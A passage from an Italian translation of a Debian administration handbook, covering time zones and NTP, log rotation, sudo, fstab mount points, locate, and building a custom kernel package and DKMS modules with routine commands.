Per spostare da un sistema esistente, dalla vecchia modalità di boot a quella UEFI (quindi supportando UEFI), non è necessario soltanto cambiare i pacchetti di GRUB sul sistema, ma occorre anche sistemare la tabella delle partizioni e creare una partizione EFI (probabilmente includendo il ridimensionamento delle partizioni esistenti per creare lo spazio libero necessario). È un processo piuttosto elaborato e per questo non è possibile trattarlo qui. Fortunatamente ci sono alcuni manuali di blogger che descrivono le procedure necessarie.

Se si sta usando un sistema con "Secure Boot" abilitato e si è installato un shim-signed (vedere riquadro CULTURA Secure Boot e shim bootloader), è necessario installare anche grub-efi-arch-signed. Questo pacchetto non è selezionato automaticamente, viene selezionato solo se si è abilitata l'installazione dei pacchetti raccomandati.

8.9. Altre configurazioni: Sincronizzare l'orario, log, condivisione dell'accesso…

È bene conoscere i molti elementi elencati in questa sezione per chiunque voglia padroneggiare tutti gli aspetti di configurazione di un sistema GNU/Linux. Tuttavia sono trattati brevemente e i riferimenti alla documentazione sono frequenti.

8.9.1. Fuso orario

FONDAMENTALE Collegamenti simbolici

Un collegamento simbolico è un puntatore ad un altro file. Quando vi si accede viene aperto il file al quale punta. Rimuovere il collegamento non causa la rimozione del file a cui punta. Allo stesso modo non dispone di un proprio insieme di permessi mentre mantiene i permessi del file a cui punta. Infine può puntare a qualsiasi tipo di file: directory, file speciali (socket, pipe con nome, file di device, ecc.), anche ad altri collegamenti simbolici.

Il comando ln -s destinazione nome-collegamento crea un collegamento simbolico chiamato nome-collegamento che punta a destinazione.

Se il file a cui punta non esiste, allora il collegamento è "interrotto" e tentare di accedervi causerà un errore che indica l'assenza del file di destinazione. Se il collegamento punta ad un altro collegamento si avrà una "catena" di collegamenti che diviene un "ciclo" se una delle destinazioni punta ad uno dei predecessori. In questo caso, accedere ad uno dei collegamenti nel ciclo, causerà un errore specifico ("too many levels of symbolic links", ovvero troppi livelli di collegamenti simbolici): questo significa che il kernel ha rinunciato dopo alcuni giri nel ciclo.

Il fuso orario, configurato durante l'installazione iniziale, è un elemento di configurazione del pacchetto tzdata. Per modificarlo, utilizzare il comando dpkg-reconfigure tzdata, che consente di scegliere il fuso orario da utilizzare in modo interattivo. La sua configurazione è memorizzata nel file /etc/timezone. Inoltre, /etc/localtime diventa un collegamento simbolico al file corrispondente in /usr/share/zoneinfo; quest'ultimo, contiene le regole che disciplinano le date in cui si adotta l'ora legale (DST) per i Paesi che la utilizzano.

Quando si necessita di cambiare temporaneamente il fuso orario si può utilizzare la variabile d'ambiente TZ che ha priorità rispetto alla configurazione predefinita di sistema:

$ date Thu Sep 2 22:29:48 CEST 2021 $ TZ="Pacific/Honolulu" date Thu 02 Sep 2021 10:31:01 AM HST

NOTA Orologio di sistema, orologio hardware

Vi sono due sorgenti per il tempo nel computer. La scheda madre del computer ha un orologio hardware, chiamato "orologio CMOS". Questo orologio non è molto preciso e fornisce tempi d'accesso lenti. Il kernel del sistema operativo ne ha uno proprio, l'orologio software, che mantiene aggiornato con i propri mezzi (eventualmente con l'aiuto dei time server, si veda la Sezione 8.9.2, «Sincronizzazione del tempo»). Questo orologio di sistema è generalmente più accurato, specialmente perché non deve accedere alle variabili hardware. Tuttavia, poiché esiste unicamente in memoria, viene azzerato ogni volta che la macchina viene avviata, contrariamente all'orologio CMOS, che è dotato di una batteria che gli consente di "sopravvivere" ai riavvi o agli arresti della macchina. Così l'orologio di sistema viene impostato dall'orologio CMOS durante l'avvio mentre l'orologio CMOS viene aggiornato allo spegnimento (per prendere in considerazione possibili modifiche o correzioni se era regolato impropriamente).

In pratica c'è un problema perché l'orologio CMOS non è nulla più di un contatore che non contiene informazioni circa il fuso orario. Vi è una scelta da fare riguardo questa interpretazione: o il sistema considera che si configurato nell'orario universale (UTC, precedemente GMT), oppure in orario locale. Questa scelta può sembrare semplice ma le cose sono in verità più complicate: come risultato dell'ora legale questo sfasamento non è costante. Il risultato è che il sistema non ha modo di determinare se lo sfasamento è corretto, specialmente nei periodi del cambio. Poiché è sempre possibile ricostruire l'orario locale dal tempo universale e le informazioni sul fuso orario, raccomandiamo fortemente di utilizzare l'orologio CMOS con l'orario universale.

Sfortunatamente, per impostazione predefinita, alcuni sistemi Windows ignorano questa raccomandazione; mantengono l'orologio CMOS all'ora locale, applicando le modifiche quando avviano il computer tentando di indovinare durante i cambiamenti d'orario se la modifica è già stata applicata oppure no. Questo funziona relativamente bene, finché il sistema usa unicamente Windows. Ma quando un computer utilizza diversi sistemi (per esempio in una configurazione "dual-boot" od esegue altri sistemi in macchine virtuali), si genera confusione, senza modo alcuno di determinare se l'ora è corretta. Se si deve assolutamente mantenere Windows sul computer, è necessario configurarlo per mantenere l'orologio CMOS come UTC (impostando la chiave di registro HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal su "1" come DWORD), oppure usare hwclock --localtime --set sul sistema Debian per impostare l'orologio hardware e contrassegnarlo come tracciamento dell'ora locale (e assicurarsi di controllare manualmente l'orologio in primavera ed autunno).

8.9.2. Sincronizzazione del tempo

La sincronizzazione dell'orario, che può sembrare superflua in un computer, è molto importante in una rete. Poiché gli utenti non hanno permessi per poter modificare data ed ora, è importante che questa informazione sia precisa per evitare confusione. Inoltre, avere tutti i computer sincronizzati sulla rete, permette di ottenere comparazioni migliori tra le informazioni dei log delle varie macchine. Così, in caso di attacco, è più semplice ricostruire la sequenza cronologica delle azioni sulle macchine interessate dalla compromissione. I dati raccolti per propositi statistici non avrebbero molto senso se non fossero sincronizzati.

FONDAMENTALE NTP

L'NTP (Network Time Protocol) consente alla macchina di sincronizzarsi con altri in modo piuttosto accurato, prendendo in considerazione i ritardi introdotti dal trasferimento delle informazioni attraverso la rete ed altri possibili sfasamenti.

Mentre ci sono numerosi server NTP su Internet, i più popolari possono essere sovraccarichi. Ecco perché raccomandiamo di usare il server NTP pool.ntp.org che è, in realtà, un gruppo di macchine che hanno accettato di agire come server NTP pubblici. È sempre possibile limitare l'uso ad un sotto-gruppo specifico ad un paese, per esempio con us.pool.ntp.org per gli Stati Uniti o ca.pool.ntp.org per il Canada, ecc.

Tuttavia, se si gestisce una grande rete, si raccomanda di installare un proprio server NTP, che si sincronizzerà con i server pubblici. In questo caso tutte le altre macchine sulla rete potranno usare il server NTP interno anziché incrementare il carico sui server pubblici. Inoltre si aumenterà l'omogeneità dei propri orologi poiché tutte le macchine saranno sincronizzate dalla stessa sorgente e questa sorgente sarà generalmente molto vicina in termini di tempo di trasferimento di rete.

8.9.2.1. Per le postazioni di lavoro

Poiché le postazioni di lavoro sono regolarmente riavviate (anche solo per risparmiare energia) sincronizzarle con NTP all'avvio è sufficiente. Per farlo si può installare il pacchetto ntpdate. Se è necessario bisogna cambiare il server NTP usato modificando il file /etc/default/ntpdate.

8.9.2.2. Per i server

I server sono riavviati raramente ed è estremamente importante che il loro tempo di sistema sia corretto. Per mantenere costantemente corretto il tempo si dovrebbe installare un server NTP locale, un servizio offerto dal pacchetto ntp. Nella configurazione predefinita il server si sincronizza con pool.ntp.org e fornisce il tempo in risposta alle richieste che arrivano dalla rete locale. È possibile configurarlo modificando il file /etc/ntp.conf e la modifica più significativa riguarda il cambio dei server NTP a cui fa riferimento. Se la rete ha molti server può essere interessante avere un server del tempo locale che si sincronizza con i server pubblici e viene usato come sorgente del tempo dagli altri server nella rete.

APPROFONDIMENTO Moduli GPS ed altre sorgenti del tempo

Se la sincronizzazione del tempo è particolarmente cruciale per una rete è possibile equipaggiare un server con un modulo GPS (che utilizzerà il tempo fornito dai satelliti GPS) o un modulo DCF-77 (che sincronizzerà il tempo con l'orologio atomico vicino a Francoforte, Germania). In questo caso la configurazione del server NTP è un po' più complicata e si rente assolutamente necessaria la consultazione della documentazione prima di procedere.

8.9.3. Ruotare i file di log

I file di log crescono, velocemente, ed è necessario archiviarli. Lo schema più comune è "ruotare" gli archivi: i file log vengono regolarmente archiviati e solo gli ultimi X archivi vengono mantenuti. logrotate, il programma responsabile di queste rotazioni, segue le direttive specificate nel file /etc/logrotate.conf ed in tutti i file all'interno della directory /etc/logrotate.d/. L'amministratore può modificare questi file, se desidera adattare le politiche di rotazione definite da Debian. La pagina di manuale logrotate(1) descrive tutte le opzioni disponibili per questi file di configurazione. Si potrebbe desiderare l'incremento del numero di file mantenuti nella rotazione dei log oppure spostare i file di log in una directory dedicata specifica per archiviarli anziché cancellarli. I log si possono anche inviare via email per archiviarli in altro luogo.

Il programma logrotate viene eseguito giornalmente dal software di programmazione cron (descritto nella Sezione 9.7, «Pianificare attività con cron e atd»).

8.9.4. Condivisione dei privilegi di amministrazione

Frequentemente diversi amministratori lavorano nella stessa rete. Condividere le password di root non è molto elegante ed apre le porte ad abusi legati all'anonimato che questa condivisione genera. La soluzione a questo problema è il programma sudo che consente a certi utenti di eseguire determinati comandi con privilegi speciali. Nel caso d'uso più comune sudo consente ad un utente fidato di eseguire qualsiasi comando come root. Per farlo l'utente esegue semplicemente sudo comando e si autentica utilizzando la propria password personale.

Quando installato, il pacchetto sudo concede completi privilegi di root ai membri del gruppo Unix sudo. Per delegare questi privilegi, l'amministratore deve usare il comando visudo, che consente di modificare il file di configurazione /etc/sudoers (ancora una volta, questo eseguirà l'editor vi o qualsiasi altro editor indicato nella variabile d'ambiente EDITOR). In alternativa si possono inserire le regole in piccoli file in /etc/sudoers.d/ purché questa directory sia inclusa da /etc/sudoers tramite @includedir /etc/sudoers.d, che per Debian è l'impostazione predefinita. L'aggiunta di una riga con nomeutente ALL=(ALL) ALL permette all'utente in questione di eseguire qualsiasi comando come root.

Configurazioni più sofisticate consentono di autorizzare solo specifici comandi ad alcuni utenti. I dettagli delle varie combinazioni sono riportati nella pagina di manuale sudoers(5).

8.9.5. Lista dei punti di mount

FONDAMENTALE Montare e smontare

In un sistema tipo Unix come Debian, i file sono organizzati in un'unica gerarchia ad albero di directory. La directory / è chiamata "root directory"; tutte le directory aggiuntive sono sottodirectory all'interno di questa radice. Il "montaggio" è l'azione di includere il contenuto di una periferica (spesso un disco rigido) nell'albero del filesystem. Di conseguenza, se si utilizza un disco rigido separato per memorizzare i dati personali degli utenti, questo disco dovrà essere "montato" nella directory /home/ (durante l'installazione sono già state fatte le scelte del caso, vedere Sezione 4.2.13.1, «Partizionamento guidato»). Il filesystem root viene sempre montato all'avvio dal kernel; le altre periferiche vengono spesso montate successivamente durante la sequenza di avvio o manualmente con il comando mount.

Alcuni dispositivi rimovibili vengono montati automaticamente al momento della connessione, soprattutto quando si utilizzano GNOME, Plasma o altri ambienti desktop. Altri devono essere montati manualmente dall'utente. Allo stesso modo, devono essere smontati (rimossi dall'albero dei file). Gli utenti normali, di solito, non hanno il permesso di eseguire i comandi mount e umount. L'amministratore può tuttavia autorizzare queste operazioni (indipendentemente per ogni punto di montaggio) includendo l'opzione user nel file /etc/fstab.

Il comando mount può essere usato senza argomenti per elencare tutti i filesystem montati (come si trovano anche in /proc/mounts ); si può eseguire findmnt --fstab per mostrare solo i filesystem da /etc/fstab. Per montare o smontare un dispositivo sono necessari i seguenti parametri - per l'elenco completo si rimanda alle corrispondenti pagine del manuale, mount(8) e umount(8). Per i casi più semplici, anche la sintassi è semplice: per esempio, per montare la partizione /dev/sdc1, che ha un filesystem ext3, nella directory /mnt/tmp/, basta eseguire mount -t ext3 /dev/sdc1 /mnt/tmp/.

Il file /etc/fstab fornisce la lista di tutti i possibili montaggi che avvengono automaticamente all'avvio o manualmente per i dispositivi di archiviazione removibili. Ogni punto di montaggio è definito da una riga con i diversi campi separati da spazi:

file system: indica dove si trova il filesystem da montare, che può essere un dispositivo locale (partizione del disco rigido, CD-ROM) o un filesystem remoto (come NFS o anche SSHFS).

Questo campo è frequentemente sostituito con l'ID univoco del filesystem (che può essere determinato con blkid dispositivo) ed è preceduto da UUID=. Questo mette al riparo da un eventuale cambio nel nome del dispobitivo in caso di aggiunta o rimozione di dischi o se i dischi vengono individuati in un ordine diverso. Per maggiori dettagli vedere Sezione 8.8.1, «Identificare i dischi».

punto di montaggio: questa è la posizione nel filesystem locale dove il dispositivo, sistema remoto, o partizione dev'essere montata.

tipo: questo campo definisce il filesystem usato sul dispositivo da montare. ext4, ext3, vfat, ntfs, btrfs, xfs sono solo alcuni esempi.

FONDAMENTALE NFS, un filesystem di rete

NFS è un filesystem di rete: su Linux consente l'accesso trasparente a file remoti includendoli nel filesystem locale.

Una lista completa dei filesystem conosciuti è disponibile nella pagina di manuale mount(8). Il valore speciale swap è per le partizioni di swap. Il valore auto specifica al programma mount di individuare automaticamente il filesystem (cosa particolarmente utile per i lettori e le chiavette USB, poiché ognuna può avere un filesystem diverso dall'altra);

opzioni: ne esistono molte, in base al filesystem, e sono documentate nella pagina di manuale mount. Le più comuni sono

rw o ro, significano rispettivamente che il dispositivo può essere montato con i permessi di lettura/scrittura oppure sola lettura.

noauto disattiva il montaggio automatico all'avvio.

nofail permette all'vvio del sistema di procedere anche quando non è presente alcun dispositivo. Assicurasi di abilitare questa opzione per i dischi esterni che potrebbero essere scollegati all'avvio, poichè systemd garantisce che realmente tutti i pinti di mount che devono montati automaticamente siano effettivamente montati prima di lasciare che il processo di avvio continui fino alla fine. Si noti che è possibile combinare questa opzione con x-systemd.device-timeout=5s per dire a systemd di aspettare non più di 5 secondi che venga rilevato il dispositivo (si veda systemd.mount(5)).

user autorizza tutti gli utenti a montare questo filesystem (un'operazione che sarebbe altrimenti consentita al solo utente root).

defaults imposta un insieme di opzioni predefinite: rw, suid, dev, exec, auto, nouser e async, ognuna delle quali può essere singolarmente disabilitata dopo defaults aggiungendo nosuid, nodev e così via per bloccare rispettivamente suid, dev ecc. Aggiungere l'opzione user la riattiva, dato che defaults include nouser.

dump: questo campo è quasi sempre impostato a 0 ed è una sorta di reliquia. Quando è maggiore di zero, indica allo strumento dump che la partizione contiene dati per i quali deve essere fatto un frequente backup. Lo strumento supporta solo i filesystem Ext2/3/4 e utilizzerà questo valore quando è eseguito con dump -W o dump -w per determinare su quali partizioni deve essere eseguito il backup. Considerare gli esempi presenti in /usr/share/doc/dump/examples/ se si vuole utilizzare questa funzionalità. Ma esistono migliori alternative per fare il backup di un filesystem, come fsarchiver.

pass: questo ultimo campo indica quando l'integrità del filesystem dovrebbe essere controllata all'avvio e l'ordine in cui deve essere fatto. Se è 0 non viene eseguito nessun controllo. Il filesystem radice dovrebbe sempre avere il valore 1, mentre altri filesystem permanenti dovrebbero avere il valore 2.

Esempio 8.5. Esempio di file /etc/fstab

# /etc/fstab: static file system information. # # Use 'blkid' to print the universally unique identifier for a # device; this may be used with UUID= as a more robust way to name devices # that works even if disks are added and removed. See fstab(5). # # systemd generates mount units based on this file, see systemd.mount(5). # Please run 'systemctl daemon-reload' after making changes here. # # <file system> <mount point> <type> <options> <dump> <pass> # / was on /dev/sda1 during installation UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 / ext4 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none swap sw 0 0 /dev/sr0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

L'ultima riga dell'esempio corrisponde ad un filesystem di rete (NFS): la directory /shared/ sul server arrakis è montata su /shared/ della macchina locale.

Il formato del file /etc/fstab è documentato nella pagina di manuale fstab(5).

APPROFONDIMENTO Montaggio automatico

I punti di automount sono gestibili da systemd: si tratta di filesystem che vengono montati su richiesta quando un utente tenta di accedere ai loro punti di montaggio. Può anche smontare questi filesystem quando nessun processo vi accede più.

Come la maggior parte dei concetti in systemd, i punti di automount sono gestiti con unità dedicate, utilizzando il suffisso .automount. Vedere systemd.automount(5) per la sintassi esatta.

Esistono altre utility per il montaggio automatico, come automount nel pacchetto autofs o amd nel pacchetto am-utils.

Si noti anche che GNOME, Plasma ed altri ambienti desktop lavorano insieme a udisks2 e possono montare automaticamente i supporti rimovibili quando vengono collegati.

8.9.6. locate e updatedb

Il comando locate può trovare la posizione di un file quando si conosce solo una parte del nome. Restituisce un risultato quasi istantaneo, poiché consulta un database che memorizza la posizione di tutti i file sul sistema; questo database viene aggiornato quotidianamente dal comando updatedb. Esistono diverse implementazioni del comando locate e Debian ha scelto mlocate come sistema standard. Se si vuole considerare un'alternativa, si può provare plocate che fornisce le stesse opzioni da riga di comando e può essere considerato a tutti gli effetti un sostituto.

locate è abbastanza intelligente da restituire solo i file che sono accessibili all'utente che esegue il comando anche se utilizza un database in cui sono presenti tutti i file del sistema (sin dalla sua implementazione updatedb viene eseguito con i privilegi di root). Per una maggiore sicurezza, l'amministratore può utilizzare PRUNEDPATHS in /etc/updatedb.conf per escludere alcune directory dall'indicizzazione.

8.10. Compilare un kernel

I kernel forniti da Debian includono il maggior numero possibile di funzionalità, così come il massimo numero di driver, per coprire lo spettro più ampio di configurazioni hardware esistenti. Ecco perché alcuni utenti preferiscono ricompilare il kernel per includere unicamente ciò di cui necessitano. Ci sono due ragioni per questa scelta. Primo, questo può ottimizzare il consumo di memoria perché il codice del kernel anche se non viene mai utilizzato occupa memoria senza motivo (e non viene mai posto nello spazio di swap, dato che utilizza la vera RAM), cosa che può diminuire le prestazioni complessive del sistema. Inoltre un kernel compilato localmente può anche limitare i rischi di sicurezza poiché solo una frazione del codice del kernel è compilato ed eseguito.

NOTA Aggiornamenti di sicurezza

Se si sceglie di compilare il proprio kernel, bisogna accettarne le conseguenze: Debian non può assicurare gli aggiornamenti di sicurezza per un kernel personalizzato. Mantenendo il kernel fornito da Debian, si può beneficiare degli aggiornamenti preparati dalla squadra di sicurezza del Progetto Debian.

Ricompilare il kernel è inoltre necessario se si vuole utilizzare certe funzionalità che sono disponibili solo come patch (e non sono incluse nella versione standard del kernel).

ANDARE AVANTI Il Debian Kernel Handbook

Il team del kernel Debian gestisce il "Debian Kernel Handbook" (disponibile anche nel pacchetto debian-kernel-handbook) con una documentazione completa sulla maggior parte dei compiti relativi al kernel e su come vengono gestiti i pacchetti ufficiali del kernel Debian. È il primo posto dove guardare se si ha bisogno di ulteriori informazioni rispetto a quelle fornite in questa sezione.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Introduzione e prerequisiti

Non stupisce che Debian gestisca il kernel sotto forma di pacchetti, diversamente da come i kernel sono stati compilati ed installati tradizionalmente. Poiché il kernel rimane sotto il controllo del sistema di pacchettizazione può essere rimosso in modo pulito, o distribuito su diverse macchine. Inoltre, gli script associati con questi pacchetti automatizzano l'interazione con il bootloader ed il generatore initrd.

I sorgenti di Linux contengono tutto il necessario per creare un pacchetto Debian del kernel. Tuttavia è necessario installare build-essential per assicurarsi di avere gli strumenti necessari per creare il pacchetto Debian. Inoltre, la fase di configurazione del kernel richiede il pacchetto libncurses-dev (precedentemente libncurses5-dev, che ora è un pacchetto di transizione). Infine, il pacchetto fakeroot che permette di creare il pacchetto Debian senza bisogno dei diritti di amministratore.

CULTURA I bei vecchi tempi di kernel-package

Prima che il sistema di compilazione di Linux acquisisse la capacità di costruire pacchetti Debian veri e propri, il metodo consigliato per costruire tali pacchetti era quello di usare make-kpkg dal pacchetto kernel-package.

8.10.2. Ottenere i sorgenti

Come qualiasi cosa che può essere utile in un sistema Debian, i sorgenti del kernel Linux sono disponibili in un pacchetto. Per ottenerli, basta installare il pacchetto linux-source-versione. Il comando apt search ^linux-source elenca le varie versioni del kernel pacchettizate da Debian. L'ultima versione è disponibile nella distribuzione Unstable: è possibile ottenerla senza troppi rischi (specialmente se il proprio APT è configurato secondo le istruzioni presenti in Sezione 6.2.6, «Lavorare con più distribuzioni»). Da notato che il codice sorgente contenuto in questi pacchetti non corrisponde precisamente a quello pubblicato da Linus Torvalds e dagli sviluppatori del kernel: come tutte le distribuzioni, Debian applica una serie di patch che potrebbero (o non) essere inglobate nella versione originale di Linux. Queste modifiche includono backport di /correzioni/caratteristiche/driver dalle versioni più recenti del kernel, nuove funzionalità non ancora (interamente) incluse in Linux e, talvolta, anche cambiamenti specifici di Debian.

Il resto di questa sezione si concentra sulla versione 5.10 del kernel Linux, ma gli esempi possono, natualmente, essere adattati alla particolare versione del kernel che si desidera.

Supponiamo che il pacchetto linux-source-5.10 sia installato. Contiene /usr/src/linux-source-5.10.tar.xz, un archivio compresso dei sorgenti del kernel. Si devono estrarre questi file in una nuova directory (non direttamente in /usr/src/, poiché non c'è bisogno di permessi speciali per compilare un kernel Linux): ~/kernel/ è appropriato.

$ mkdir ~/kernel; cd ~/kernel $ tar -xaf /usr/src/linux-source-5.10.tar.xz

CULTURA Posizione dei sorgenti del kernel

Tradizionalmente, i sorgenti del kernel Linux verrebbero posti in /usr/src/linux/ richiedendo i permessi di root per la compilazione. Tuttavia, quando non è necessario, non si dovrebbe lavorare con i privilegi di amministratore. Esiste un gruppo src che consente ai suoi membri di lavorare in questa directory, ma lavorare in /usr/src/ dovrebbe essere comunque evitato. Mantenendo i sorgenti del kernel in una directory personale si ottiene una maggiore sicurezza: nessun file in /usr/ sconosciuto al gestore dei pacchetti e nessun rischio che altri programmi vengano ingannati dalla lettura di /usr/src/linux quando cercano informazioni sul kernel in uso.

Per compilare un kernel dai sorgenti originali, basta scaricare il tarball della versione desiderata da kernel.org, verificarne l'integrità dopo aver importato la chiave dei manutentori del kernel e procedere come descritto nei capitoli seguenti.

→ https://kernel.org/pub/linux/kernel/

→ https://git.kernel.org/pub/scm/docs/kernel/pgpkeys.git/tree/keys

$ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.xz [..] $ wget https://kernel.org/pub/linux/kernel/v5.x/linux-5.10.62.tar.sign [..] $ unxz -c linux-5.10.62.tar.xz | gpg --verify linux-5.10.62.tar.sign - gpg: Signature made Fri 03 Sep 2021 10:11:35 AM CEST gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E gpg: Good signature from "Greg Kroah-Hartman <gregkh@linuxfoundation.org>" [unknown] gpg: aka "Greg Kroah-Hartman (Linux kernel stable release signing key) <greg@kroah.com>" [unknown] gpg: aka "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E

8.10.3. Configurare il kernel

I passi successivi consistono nella configurazione del kernel secondo le proprie necessità. La procedura esatta dipende dagli obiettivi.

Quando si ricompila una versione più recente del kernel (eventualmente con una patch aggiuntiva), la configurazione sarà probabilmente mantenuta il più vicino possibile a quella proposta da Debian. In questo caso, piuttosto che riconfigurare tutto da zero, è sufficiente copiare il file /boot/config-versione (la versione è quella del kernel attualmente in uso, che può essere trovata con il comando uname -r) in un file .config nella directory contenente i sorgenti del kernel. In questo caso, assicurarsi di leggere il riquadro SUGGERIMENTO Manca debian/certs/debian-uefi-certs.pem.

$ cp /boot/config-5.10.0-8-amd64 ~/kernel/linux-source-5.10/.config

Se non si necessita di cambiare la configurazione, è possibile fermarsi qui e saltare alla Sezione 8.10.4, «Compilazione e creazione del pacchetto». Se invece è necessario modificarla, o se si è deciso di riconfigurare tutto da zero, è necessario prendersi del tempo per configurare il kernel. Ci sono varie interfacce dedicate nella directory dei sorgenti del kernel che possono essere richiamate utilizzando il comando make target, dove target sarà uno dei valori descritti di seguito.

make menuconfig compila ed esegue un'interfaccia testuale (ecco perché è richiesto il pacchetto libncurses-dev) che consente la navigazione tra le opzioni disponibili in una struttura gerarchica. Premendo il tasto Spazio si cambia il valore delle opzioni selezionate, ed Invio conferma il bottone selezionato in basso sullo schermo; Select rimanda al sotto-menu selezionato; Exit chiude la finestra corrente e torna indietro alla gerarchia, Help visualizzerà informazioni maggiormente dettagliate sul ruolo dell'opzione selezionata. Le frecce consentono di muoversi tra la lista delle opzioni e dei bottoni. Per uscire dal programma di configurazione, scegliere Exit dal menu principale. Il programma offrirà di salvare le modifiche effettuate; accettare se si è soddisfatti delle proprie scelte.

Altre interfacce hanno caratteristiche simili, ma funzionano con interfacce grafiche più moderne, come make xconfig che usa un'interfaccia grafica Qt e make gconfig che usa GTK+. La prima richiede qtbase5-dev, mentre la seconda dipende da libglade2-dev e libgtk2.0-dev.

Quando si utilizza una di queste interfacce di configurazione, è sempre una buona idea partire da una configurazione predefinita ragionevole. Il kernel fornisce tali configurazioni in arch/arch/configs/*_defconfig e si può attivare la configurazione selezionata con un comando come make x86_64_defconfig (in caso di un PC a 64-bit) opuure make i386_defconfig (in caso di un PC a 32-bit).

SUGGERIMENTO Trattare con file obsoleti .config

Quando si fornisce un .config generato con un'altra (di solito più vecchia) versione del kernel, sarà necessario aggiornarlo.E' possibile farlo con make oldconfig, che farà interattivamente le domande corrispondenti alle nuove opzioni di configurazione. Se si desidera utilizzare la risposta predefinita a tutte le domande è possibile utilizzare il comando make olddefconfig. Con make oldnoconfig, si riterranno negative le risposte a tutte le domande.

8.10.4. Compilazione e creazione del pacchetto

NOTA Fare pulizia prima di una nuova compilazione

Se avete già compilato una volta nella directory e volete ripartire da zero (per esempio perchè la configurazione del kernel è stata modificata sostanzialmente), si dovrà eseguire il comando make clean per rimuovere i file compilati. Eseguire make distclean rimuove anche altri file generati, incluso anche il vostro file .config, quindi assicuratevi di eseguire prima un backup.

Una volta che la configurazione del kernel è pronta, un semplice make deb-pkg genererà fino a 5 pacchetti Debian:

linux-image-versione

contiene l'immagine del kernel ed i relativi moduli,

linux-headers-versione

contiene i file di intestazione (header) necessari per costruire i moduli esterni,

linux-firmware-image-versione

contiene i firmware necessari per alcuni driver (questo pacchetto potrebbe mancare quando si compilano i sorgenti del kernel forniti da Debian),

linux-image-versione-dbg

contiene i simboli di debug per l'immagine del kernel ed i suoi moduli (creato solo se CONFIG_DEBUG_INFO=y), e

linux-libc-dev

contiene le intestazioni (header) rilevanti per alcune librerie dello spazio utente, come GNU glibc.

La versione è definita dalla concatenazione della versione upstream (definita dalle variabili VERSION, PATCHLEVEL, SUBLEVEL e EXTRAVERSION nel Makefile ), del parametro di configurazione LOCALVERSION e della variabile d'ambiente LOCALVERSION. La versione del pacchetto riutilizza la stessa stringa di versione con una revisione aggiunta che viene incrementata regolarmente (e memorizzata in .version), a meno che non la si sovrascriva con la variabile d'ambiente KDEB_PKGVERSION.

$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=$(make kernelversion)-1 [...] $ ls ../*.deb ../linux-headers-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot_5.10.46-1_amd64.deb ../linux-image-5.10.46-falcot-dbg_5.10.46-1_amd64.deb ../linux-libc-dev_5.10.46-1_amd64.deb

L'intero processo richiede circa 20 GB di spazio libero, almeno 8 GB di RAM e diverse ore di compilazione (utilizzando un core) per un kernel Debian standard amd64. Questi requisiti possono essere drasticamente ridotti disabilitando le informazioni di debug con CONFIG_DEBUG_INFO=n, ma questo renderà impossibile tracciare gli errori del kernel ("oops") usando gdb ed impedirà, inoltre, la creazione del pacchetto linux-image-version-dbg.

SUGGERIMENTO Manca debian/certs/debian-uefi-certs.pem

Il kernel predefinito di Debian contiene la seguente configurazione:

[..] # # Certificates for signature checking # CONFIG_MODULE_SIG_KEY="" CONFIG_SYSTEM_TRUSTED_KEYRING=y CONFIG_SYSTEM_TRUSTED_KEYS="debian/certs/debian-uefi-certs.pem" # CONFIG_SYSTEM_EXTRA_CERTIFICATE is not set CONFIG_SECONDARY_TRUSTED_KEYRING=y CONFIG_SYSTEM_BLACKLIST_KEYRING=y CONFIG_SYSTEM_BLACKLIST_HASH_LIST="" # end of Certificates for signature checking [..]

La creazione di un kernel personalizzato basato su queste impostazioni fallirà se debian/certs/debian-uefi-certs.pem non esiste. Questo file può essere ottenuto dal repository Git del team del kernel e inserito nell'albero dei sorgenti, oppure può essere sostituito da uno o più certificati propri, o ancora si può disabilitare l'impostazione tramite CONFIG_SYSTEM_TRUSTED_KEYS="".

→ https://salsa.debian.org/kernel-team/linux/-/blob/master/debian/certs/debian-uefi-certs.pem

8.10.5. Compilare moduli esterni

Alcuni moduli sono mantenuti fuori dal kernel ufficiale Linux. Per usarli, è necessario compilarli parallelamente al kernel corrispondente. Alcuni moduli comuni di terze parti sono forniti da Debian in pacchetti dedicati, come vpb-driver-source (moduli aggiuntivi per hardware telefonico Voicetronix) o leds-alix-source (driver per schede ALIX 2/3 di PCEngines).

Questi pacchetti sono molti e variegati, apt-cache rdepends module-assistant$ può mostrarne l'elenco fornito da Debian. Comunque una lista completa non sarebbe particolarmente utile visto che non c'è una ragione particolare per compilare moduli esterni se non quando si sa di averne bisogno. In questi casi la documentazione del dispositivo dettaglia tipicamente i moduli specifici di cui necessita per funzionare su Linux.

Per esempio, diamo un'occhiata al pacchetto dahdi-source: dopo l'installazione, in /usr/src/ viene memorizzato un file .tar.bz2 dei sorgenti del modulo. Anche se si potrebbe estrarre manualmente l'archivio tarball e compilare il modulo, in pratica si preferisce automatizzare il tutto utilizzando l'infrastruttura DKMS (Dynamic Kernel Module Support). La maggior parte dei moduli offrono l'integrazione DKMS nei pacchetti che terminano con il suffisso -dkms. Nel nostro caso, l'installazione di xtables-addons-dkms è tutto ciò che serve per compilare il modulo del kernel per il kernel corrente a condizione che si abbia il pacchetto linux-headers-* corrispondente al kernel installato. Per esempio, se si utilizza linux-image-amd64, si dovrebbe installare anche linux-headers-amd64.

SGUARDO VELOCE DKMS e Secure Boot

Su sistemi UEFI con Secure Boot abilitato è necessario firmare i moduli prima che possano essere caricati. I moduli forniti con i pacchetti del kernel sono firmati. Ma i moduli esterni non lo sono. Fortunatamente dkms dispone già di tutto ciò che è necessario per firmare moduli compilati.

